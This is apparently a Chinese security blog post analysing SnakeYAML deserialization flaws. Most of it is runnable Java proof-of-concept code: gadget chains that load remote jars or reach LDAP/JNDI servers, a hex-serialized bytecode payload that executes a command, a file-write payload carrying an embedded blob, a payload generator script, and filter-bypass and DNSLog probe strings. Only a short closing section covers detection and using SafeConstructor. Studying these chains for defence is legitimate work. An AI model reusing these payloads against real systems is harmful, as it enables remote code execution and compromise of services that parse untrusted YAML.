SnakeYaml

YAML简介

snakeyaml包主要用来解析yaml格式的内容,yaml语言比普通的xml与properties等配置文件的可读性更高,Spring系列就支持yaml的配置文件,而SnakeYaml是一个完整的YAML1.1规范Processor,支持UTF-8/UTF-16,支持Java对象的序列化/反序列化,支持所有YAML定义的类型。

yaml语法中需要注意以下几点:

- YAML区分大小写;
- YAML文件使用.yaml作为扩展名;
- YAML在创建YAML文件时不允许使用制表符,只允许使用空格。

yaml基本要素概要:

- YAML中的注释以#字符开头;
- 必须通过空格将注释与其他标记分开;
- 空白的缩进用于表示结构;
- 标签不包含在YAML文件的缩进中;
- 列表成员用前导连字符-表示;
- 列表成员用方括号括起来,并以逗号分隔;
- 关联数组使用冒号:以键值对的格式表示,并用大括号括起来{};
- 具有单个流的多个文档用3个连字符---分隔;
- 每个文件中的重复节点最初用&符号&表示,稍后用星号*标记;
- YAML总是需要使用冒号和逗号作为列表分隔符,后跟带有标量值的空格;
- 节点应标有感叹号!或双重感叹号!!,后跟字符串,可以扩展为URI或URL。

SnakeYaml序列化与反序列化

SnakeYaml中分别由Yaml.dump和Yaml.load方法对yaml数据进行序列化和反序列化操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package org.vuln.snakeyaml;

public class Person {
String age;
String name;

public Person() {
System.out.println("this is construct function");
}
public String getAge() {
System.out.println("this is getAge function");
return age;
}

public String getName() {
System.out.println("this is getName function");
return name;
}
public void setAge(String age) {
System.out.println("this is setAge function");
this.age = age;
}
public void setName(String name) {
System.out.println("this is setName function");
this.name = name;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package org.vuln.snakeyaml;

import org.yaml.snakeyaml.Yaml;

public class SnakeYamlDemo {
public static void main(String[] args) {
Serialize();
Deserialize();
}

public static void Serialize() {
Person person = new Person();
person.setAge("21");
person.setName("Duke");

Yaml yaml = new Yaml();
String dumpData = yaml.dump(person);
System.out.println(dumpData);
}

public static void Deserialize() {
String dumpData = "!!org.vuln.snakeyaml.Person {age: 21, name: Tom}";

Yaml yaml = new Yaml();
Person loadData = (Person) yaml.load(dumpData);
}
}

上文中序列化操作中输出字符串!!org.vuln.snakeyaml.Person {age: ‘21’, name: Duke},其中!!符号类似于fastjson中的@type,用于指定反序列化的类名;反序列化操作中调用了被反序列化的类的构造方法和yaml格式内容中包含的属性的setter方法:

SnakeYaml反序列化漏洞

分析

SnakeYaml的反序列化操作Yaml.load类似于Fastjson,yaml数据在反序列化时可以通过!!加全类名来指定反序列化的类,反序列化过程中会实例化该类。因此,攻击者可以通过构造ScriptEngineManager的payload并利用SPI机制,通过URLClassLoader或者其他payload,例如JNDI方式远程加载实例化恶意类从而实现任意代码执行。

当Yaml.load方法的参数外部可控时,攻击者可以传入一个包含恶意类的yaml格式序列化内容,当服务端进行yaml反序列化获取恶意类时,便会触发SnakeYaml反序列化漏洞。

下文通过ScriptEngineManager这条利用链来分析一下SnakeYaml反序列化漏洞的一个大致调用过程。

参考项目https://github.com/artsploit/yaml-payload/,生成恶意的jar包,构造yaml数据如下:

1
2
3
4
5
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://127.0.0.1:8080/yaml-payload.jar"]
]]
]

在Yaml.load处下个断点,首先是一个赋值操作,调用StringReader方法处理传入的数据,将字符串存储在StreamReader的this.stream字段值中。

接着调用org.yaml.snakeyaml.Yaml#loadFromReader方法,前面先是一系列的赋值操作,接着将传入的数据封装成一个Composer对象。

在赋值操作调用org.yaml.snakeyaml.parser.ParserImpl的有参构造方法时,有一个替换规则需要注意,即!! -> tag:yaml.org,2002:,后续会利用该替换规则将传入的数据进行字符串替换操作。

接着调用org.yaml.snakeyaml.constructor.BaseConstructor#getSingleData方法,调用org.yaml.snakeyaml.composer.Composer#getSingleNode方法,并根据之前的替换规则对!!符号进行替换。

1
<org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:javax.script.ScriptEngineManager, value=[<org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:java.net.URLClassLoader, value=[<org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:seq, value=[<org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:java.net.URL, value=[<org.yaml.snakeyaml.nodes.ScalarNode (tag=tag:yaml.org,2002:str, value=http://127.0.0.1:8080/yaml-payload.jar)>])>])>])>])>

接着调用org.yaml.snakeyaml.constructor.BaseConstructor#constructDocument方法,经过一系列调用,直到调用org.yaml.snakeyaml.constructor.Constructor#getConstructor方法。

跟进org.yaml.snakeyaml.constructor.Constructor#getClassForNode方法,由于classForTag为null,因此进入if循环,调用org.yaml.snakeyaml.constructor.Constructor#getClassForName方法,通过反射获取ScriptEngineManager对象。

接下来向typeTags的Map里put本次tag和class对象的键值对,并返回ScriptEngineManager对象,后续对URLClassLoader和URL处理的逻辑与对ScriptEngineManager处理的逻辑基本相同。当ScriptEngineManager、URLClassLoader和URL都被反射获取到对象后,进入construct方法内,通过反射获取node字段的type属性值所对应的构造方法。

最终通过newInstance方法实例化,首先是URL的实例化,之后是URLClassLoader的实例化,最后当ScriptEngineManager实例化完成后触发远程代码执行。

补充

这里补充一下ScriptEngineManager的构造链为什么是ScriptEngineManager->URLClassLoader->URL。实际上,[[!!表示下一个类当作上一个类的内部属性去使用,在调用ScriptEngineManager这个类时,调用的是它的构造方法,可以看到在javax.script.ScriptEngineManager的有参构造方式中需要传入一个ClassLoader类,这里将URLClassLoader传入。

接着继续调用URLClassLoader的构造方法,其构造方法需要传入一个URL类,进而在payload中,将URL传入。

SPI机制

在上文分析ScriptEngineManager利用链的过程中,核心点涉及到一个重要概念SPI(Service Provider Interface)机制,这是一种服务发现机制,可以通过在ClassPath路径下的META-INF/services文件夹内查找文件,并自动加载文件内所定义的的类。即可以动态为某个接口寻找服务进行实现,使用SPI机制时,需要在ClassPath下的META-INF/services目录内创建一个以服务接口命名的文件,这个文件里的内容就是这个接口的具体的实现类的全类名。

Gadgets

JdbcRowSetImpl

由于SnakeYaml在反序列化时类似Fastjson,会调用属性的setter方法,因此可以调用JdbcRowSetImpl类的dataSourceName属性的setter方法即setDataSourceName,然后就触发后续一系列的利用链最后达到任意代码执行的目的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package org.vuln.snakeyaml;

import org.yaml.snakeyaml.Yaml;

public class JdbcRowSetImplGadget {
public static void main(String[] args) {
String yamlData = "!!com.sun.rowset.JdbcRowSetImpl\n" +
" dataSourceName:\n" +
" \"ldap://127.0.0.1:1389/jjzx1y\"\n" +
" autoCommit:\n" +
" true";
new Yaml().load(yamlData);
}
}

Spring PropertyPathFactoryBean

该Gadget的构造思路大致为,在org.springframework.beans.factory.config.PropertyPathFactoryBean类中的setBeanFactory方法,该方法能够调用任意beanFactory的getBean方法,在org.springframework.jndi.support.SimpleJndiBeanFactory类中的getBean方法能够利用lookup来触发JNDI注入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package org.vuln.snakeyaml;

import org.yaml.snakeyaml.Yaml;

public class PropertyPathFactoryBeanGadget {
public static void main(String[] args) {
String yamlData = "!!org.springframework.beans.factory.config.PropertyPathFactoryBean\n" +
" targetBeanName: \"ldap://127.0.0.1:1389/5vezso\"\n" +
" propertyPath: h3rmesk1t\n" +
" beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory\n" +
" shareableResources: [\"ldap://127.0.0.1:1389/5vezso\"]";
new Yaml().load(yamlData);
}
}

Apache Commons Configuration

该调用链主要是触发的时候是利用key调用hashCode方法所产生的利用链。

1
2
3
4
5
6
7
8
9
10
11
package org.vuln.snakeyaml;

import org.yaml.snakeyaml.Yaml;

public class CommonsConfigurationGadget {
public static void main(String[] args) {
String yamlData = "set:\n" +
" ? !!org.apache.commons.configuration.ConfigurationMap [!!org.apache.commons.configuration.JNDIConfiguration [!!javax.naming.InitialContext [], \"ldap://127.0.0.1:1389/5vezso\"]]";
new Yaml().load(yamlData);
}
}

Apache XBean

BadAttributeValueExpException类的构造函数会调用传入对象的toString方法,由于org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding不存在toString方法,因此会调用到其父类的toString方法,即javax.naming.Binding#toString方法,调用getObject方法。

org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding#getObject方法会调用org.apache.xbean.naming.context.ContextUtil#resolve方法,在这里会进行远程恶意类加载。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package org.vuln.snakeyaml;

import org.yaml.snakeyaml.Yaml;

public class XBeanGadget {
public static void main(String[] args) {
String yamlData = "!!javax.management.BadAttributeValueExpException [\n" +
" !!org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding\n" +
" [\"h3rmesk1t\", !!javax.naming.Reference [\"foo\", \"Calculator\", \"http://localhost:8080/\"], !!org.apache.xbean.naming.context.WritableContext []\n" +
" ]\n" +
"]";
new Yaml().load(yamlData);
}
}

C3P0 JndiRefForwardingDataSource

参考C3P0的JNDI注入的Gadget。

1
2
3
4
5
6
7
8
9
10
11
12
package org.vuln.snakeyaml;

import org.yaml.snakeyaml.Yaml;

public class JndiRefForwardingDataSourceGadget {
public static void main(String[] args) {
String yamlData = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource\n" +
" jndiName: \"ldap://127.0.0.1:1389/5vezso\"\n" +
" loginTimeout: -1";
new Yaml().load(yamlData);
}
}

Resource

需要具有如下依赖:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<dependency>
<groupId>org.eclipse.jetty</groupId>
<artifactId>jetty-jndi</artifactId>
<version>9.4.8.v20171121</version>
</dependency>
<dependency>
<groupId>org.eclipse.jetty</groupId>
<artifactId>jetty-plus</artifactId>
<version>9.4.8.v20171121</version>
</dependency>
<dependency>
<groupId>org.eclipse.jetty</groupId>
<artifactId>jetty-util</artifactId>
<version>9.4.8.v20171121</version>
</dependency>
1
2
3
4
5
public static void main(String[] args) throws Error ,Exception{
String poc = "[!!org.eclipse.jetty.plus.jndi.Resource [\"__/obj\", !!javax.naming.Reference [\"foo\", \"Exec\", \"http://localhost:7777/\"]], !!org.eclipse.jetty.plus.jndi.Resource [\"obj/test\", !!java.lang.Object []]]\n";
Yaml yaml = new Yaml();
yaml.load(poc);
}

不出网利用

这里给出两种利用方式:

- 利用C3P0中的HEX序列化类加载器反序列化链来实现
- 利用Fastjson 1.2.68将jar包写入本地,然后ScriptEngineManger加载本地jar包进行代码执行

C3P0

参考C3P0中十六进制序列化字节加载器Gadget。

1
2
3
4
5
6
7
8
9
10
11
package org.vuln.snakeyaml;

import org.yaml.snakeyaml.Yaml;

public class WrapperConnectionPoolDataSourceGadget {
public static void main(String[] args) {
String yamlData = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" +
" userOverridesAsString: \"HexAsciiSerializedMap:ACED0005737200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000023F40000000000001737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B65797400124C6A6176612F6C616E672F4F626A6563743B4C00036D617074000F4C6A6176612F7574696C2F4D61703B78707372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000649000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785B000A5F62797465636F6465737400035B5B425B00065F636C6173737400125B4C6A6176612F6C616E672F436C6173733B4C00055F6E616D657400124C6A6176612F6C616E672F537472696E673B4C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF757200035B5B424BFD19156767DB37020000787000000001757200025B42ACF317F8060854E0020000787000000164CAFEBABE00000034001801000161070001010040636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F72756E74696D652F41627374726163745472616E736C65740700030100063C696E69743E010003282956010004436F64650C000500060A000400080100116A6176612F6C616E672F52756E74696D6507000A01000A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B0C000C000D0A000B000E0100126F70656E202D612043616C63756C61746F7208001001000465786563010027284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B0C001200130A000B001401000A536F7572636546696C65010006612E6A617661002100020004000000000001000100050006000100070000001A000200010000000E2AB70009B8000F1211B6001557B1000000000001001600000002001770740002683370770100787372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D6571007E00095B000B69506172616D547970657371007E00087870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000074000E6E65775472616E73666F726D6572757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A99020000787000000000737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000077080000001000000000787878;\"";
new Yaml().load(yamlData);
}
}

Fastjson

Fastjson 1.2.68文件写入POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
{
"@type": "java.lang.AutoCloseable",
"@type": "sun.rmi.server.MarshalOutputStream",
"out": {
"@type": "java.util.zip.InflaterOutputStream",
"out": {
"@type": "java.io.FileOutputStream",
"file": "dst",
"append": "false"
},
"infl": {
"input": "eJwL8nUyNDJSyCxWyEgtSgUAHKUENw=="
},
"bufLen": 1048576
},
"protocolVersion": 1
}

构造snakeyaml的POC如下,其中filepath是写入路径,base64是要写入文件的base64编码:

1
!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File ["filePath"],false],!!java.util.zip.Inflater  { input: !!binary base64 },1048576]]
1
2
3
4
5
6
7
8
9
10
11
package snakeYaml;

import org.yaml.snakeyaml.Yaml;

public class SnakeYaml {
public static void main(String[] args) {
String payload = "!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File [\"./yaml-payload.jar\"],false],!!java.util.zip.Inflater { input: !!binary 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 },1048576]]\n";
Yaml yaml = new Yaml();
yaml.load(payload);
}
}

写入本地之后就可以通过ScriptEngineManager方式进行本地读取jar包,实现命令执行。

1
2
3
4
5
6
7
8
9
10
11
public class SnakeYaml {
public static void main(String[] args) {
String payload = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"file:///yaml-payload.jar\"]\n" +
" ]]\n" +
"]";
Yaml yaml = new Yaml();
yaml.load(payload);
}
}

这里贴一个脚本来写入本地文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
package com.zlg.serialize.snakeyaml;

import org.yaml.snakeyaml.Yaml;

import java.io.*;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.zip.Deflater;


public class SnakeYamlOffInternet {
public static void main(String [] args) throws Exception {
String poc = createPoC("./1.txt","./file/yaml-payload.txt");
Yaml yaml = new Yaml();
yaml.load(poc);

}


public static String createPoC(String SrcPath,String Destpath) throws Exception {
File file = new File(SrcPath);
Long FileLength = file.length();
byte[] FileContent = new byte[FileLength.intValue()];
try{
FileInputStream in = new FileInputStream(file);
in.read(FileContent);
in.close();
}
catch (FileNotFoundException e){
e.printStackTrace();
}
byte[] compressbytes = compress(FileContent);
String base64str = Base64.getEncoder().encodeToString(compressbytes);
String poc = "!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File [\""+Destpath+"\"],false],!!java.util.zip.Inflater { input: !!binary "+base64str+" },1048576]]";
System.out.println(poc);
return poc;
}

public static byte[] compress(byte[] data) {
byte[] output = new byte[0];

Deflater compresser = new Deflater();

compresser.reset();
compresser.setInput(data);
compresser.finish();
ByteArrayOutputStream bos = new ByteArrayOutputStream(data.length);
try {
byte[] buf = new byte[1024];
while (!compresser.finished()) {
int i = compresser.deflate(buf);
bos.write(buf, 0, i);
}
output = bos.toByteArray();
} catch (Exception e) {
output = data;
e.printStackTrace();
} finally {
try {
bos.close();
} catch (IOException e) {
e.printStackTrace();
}
}
compresser.end();
return output;
}
}

Bypass

在上文提到了,每个!!修饰过的类会被替换成对应的tag形式,并且使用了一个固定前缀tag:yaml.org,2002:,因此可以利用这个特性来bypass,参考SnakeYaml 反序列化的一个小 trick

1
2
3
!<tag:yaml.org,2002:javax.script.ScriptEngineManager> 
[!<tag:yaml.org,2002:java.net.URLClassLoader> [[!<tag:yaml.org,2002:java.net.URL>
["http://ip/yaml-payload.jar"]]]]
1
2
3
%TAG ! tag:yaml.org,2002:
---
!javax.script.ScriptEngineManager [!java.net.URLClassLoader [[!java.net.URL ["http://ip/yaml-payload.jar"]]]]

探测方式

SPI

SnakeYAML在解析带键值对的集合的时候会对键调用hashCode方法,因此会触发DNSLog解析,这里通过构造URL对象并将其构造为一个mapping。

1
!!java.net.URL [null, "http://1pvn68.dnslog.cn"]: 1
1
2
3
4
// 利用%TAG来申明一个TAG, 后续再调用!str的话就会自动把TAG前缀拼接补全
%TAG ! tag:yaml.org,2002:
---
!javax.script.ScriptEngineManager [!java.net.URLClassLoader [[!java.net.URL ["http://ip/yaml-payload.jar"]]]]

HashCode

具体利用原理详见Y4tacker师傅的分析:SnakeYAML实现Gadget探测

1
2
3
4
5
String payload = "{!!java.net.URL [\"http://ra5zf8uv32z5jnfyy18c1yiwfnle93.oastify.com/\"]: 1}";

String poc = "key: [!!java.lang.String {}: 0, !!java.net.URL [null, \"[http://5ydl3f.dnslog.cn](http://5ydl3f.dnslog.cn/)\"]: 1]";

key: [!!java.lang.String {}: 0, !!java.net.URL [null, "http://jeeoy1.dnslog.cn"]: 1]

检测与防御

检测

排查服务端环境是否使用了SnakeYaml,若使用,则全局搜索关键字yaml.load(,若存在关键字则需要进一步排查参数是否外部可控。

防御

  • 禁止Yaml.load函数参数外部可控

  • 当反序列化在业务中不可获取时,则需严格过滤该参数内容,使用SafeConstructor类对反序列化的内容进行限制或使用白名单控制反序列化的类的白名单

参考

Java SnakeYaml反序列化漏洞

SnakeYaml 之不出网RCE